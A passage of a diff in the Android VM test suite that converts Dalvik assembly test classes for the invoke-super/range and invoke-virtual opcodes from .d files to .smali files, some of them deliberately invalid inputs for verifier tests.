diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.smali
new file mode 100644
index 0000000..476b480
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+     
+       invoke-super/range {v6..v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.d
deleted file mode 100644
index e97d513..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_9.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-super/range {v7..v8}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.smali
new file mode 100644
index 0000000..4e123c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_9.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super/range {v7..v8}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.d
deleted file mode 100644
index f0328ca..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TPlain.java
-.class public dot.junit.opcodes.invoke_virtual.d.TPlain
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.smali
new file mode 100644
index 0000000..4ef0b1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.d
deleted file mode 100644
index 1df3ae2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.d
+++ /dev/null
@@ -1,67 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper.java
-.class public dot.junit.opcodes.invoke_virtual.d.TSuper
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
-    
-.method public toInt(F)I 
-.limit regs 3
-    float-to-int v0, v2
-    return v0
-.end method
-
-.method public native toIntNative()I    
-.end method
-    
-.method public static toIntStatic()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
-  
-.method protected toIntP()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method  
-
-.method private toIntPvt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method  
-    
-.method public testArgsOrder(II)I
-.limit regs 4
-    const v0, 349
-    const v1, 344656
-    div-int v2, v2, v3
-    return v2
-.end method   
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.smali
new file mode 100644
index 0000000..b3c7caf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.smali
@@ -0,0 +1,84 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+.super Ljava/lang/Object;
+.source "TSuper.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private toIntPvt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public static toIntStatic()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+
+# virtual methods
+.method public testArgsOrder(II)I
+    .registers 4
+
+    const v0, 0x15d
+
+    const p0, 0x54250
+
+    div-int p1, p1, p2
+
+    return p1
+.end method
+
+.method public toInt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public toInt(F)I
+    .registers 3
+
+    float-to-int v0, p1
+
+    return v0
+.end method
+
+.method public native toIntNative()I
+.end method
+
+.method protected toIntP()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.d
deleted file mode 100644
index 2137c4c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper2.java
-.class public dot.junit.opcodes.invoke_virtual.d.TSuper2
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public test()I 
-.limit regs 3
-    const v0, 123
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.smali
new file mode 100644
index 0000000..892f503
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.d
deleted file mode 100644
index 3192c0d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_1.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual {v6, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.smali
new file mode 100644
index 0000000..7002877
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_1.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.d
deleted file mode 100644
index 2c5c909..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_10.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_10
-.super java/lang/Object
-
-.method static <clinit>()V
-    return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-    invoke-virtual {v0}, dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_10/<clinit>()V
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.smali
new file mode 100644
index 0000000..a9da3d1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_10.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-virtual {v0}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10;-><clinit>()V
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.d
deleted file mode 100644
index 68ca8c7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_11.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual {v6}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.smali
new file mode 100644
index 0000000..9be2f87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_11.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.d
deleted file mode 100644
index 8068732..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_12.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test(Ljava/lang/String;)V
-.limit regs 2
-    return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual {v5, v7}, dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_12/test(Ljava/lang/String;)V
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.smali
new file mode 100644
index 0000000..e66dbe4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_12.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public test(Ljava/lang/String;)V
+.registers 2
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v5, v7}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12;->test(Ljava/lang/String;)V
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.d
deleted file mode 100644
index dcf28f8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_13.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.smali
new file mode 100644
index 0000000..cb93839
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_13.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.d
deleted file mode 100644
index 743ddf4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.d
+++ /dev/null
@@ -1,56 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_14.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_14
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 7
-
-    const v1, 123
-    const v2, 659
-    
-    const v3, 300
-    const v4, 3
-
-    invoke-virtual {v6, v3, v4}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 100
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 659
-    if-ne v2, v4, Label0
-    
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.smali
new file mode 100644
index 0000000..91af3bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.smali
@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_14.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v3, 300
+    const v4, 3
+
+    invoke-virtual {v6, v3, v4}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
